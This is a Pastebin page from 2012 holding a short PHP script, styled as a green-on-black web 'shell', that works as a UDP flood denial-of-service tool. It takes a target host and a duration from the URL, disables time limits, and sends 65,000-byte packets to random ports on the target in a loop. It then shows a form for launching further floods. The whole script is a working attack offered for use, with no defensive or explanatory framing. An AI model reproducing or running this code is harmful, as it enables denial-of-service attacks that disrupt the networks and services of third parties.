Advertisement
Protocol_

UDP/Get Shell.

Apr 21st, 2012
506
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.81 KB | None | 0 0
  1. <?php
  2. $ip = $_SERVER['REMOTE_ADDR'];
  3. ?>
  4. <html>
  5. <body>
  6. <center>
  7. <font color="00FF00">
  8. <pre>
  9. Script By JustMe Shell Dos UDP Dont Dos u Self Or your Internet wont Work anymore. - $_GET function shell!
  10. </pre>
  11. <STYLE>
  12. input{
  13. background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
  14. }
  15. button{
  16. background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
  17. }
  18. body {
  19. background-color: #000;
  20. }
  21. </style>
  22. <?php
  23. //UDP
  24. if(isset($_GET['host'])&&isset($_GET['time'])){
  25.     $packets = 0;
  26.     ignore_user_abort(TRUE);
  27.     set_time_limit(0);
  28.  
  29.     $exec_time = $_GET['time'];
  30.  
  31.     $time = time();
  32.     //print "Started: ".time('d-m-y h:i:s')."<br>";
  33.     $max_time = $time+$exec_time;
  34.  
  35.     $host = $_GET['host'];
  36.  
  37.     for($i=0;$i<65000;$i++){
  38.     $out .= 'X';
  39.     }
  40.     while(1){
  41.     $packets++;
  42.     if(time() > $max_time){
  43.   break;
  44.     }
  45.     $rand = rand(1,65000);
  46.     $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  47.     if($fp){
  48.   fwrite($fp, $out);
  49.   fclose($fp);
  50.     }
  51.     }
  52.     echo "<br><b>UDP Flood BY JustMe</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  53.     echo '<br><br>
  54.  <form action="'.$surl.'" method=GET>
  55.  <input type="hidden" name="act" value="phptools">
  56.  Host: <br><input type=text name=host><br>
  57.  Length (seconds): <br><input type=text name=time><br>
  58.  <input type=submit value=Go></form>';
  59. }else{ echo '<br><b>UDP Flood</b><br>
  60.    <form action=? method=GET>
  61.    <input type="hidden" name="act" value="phptools">
  62.    Host: <br><input type=text name=host value=><br>
  63.    Length (seconds): <br><input type=text name=time value=><br><br>
  64.    <input type=submit value=Go></form>';
  65. }
  66. ?>
  67. </body>
  68. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement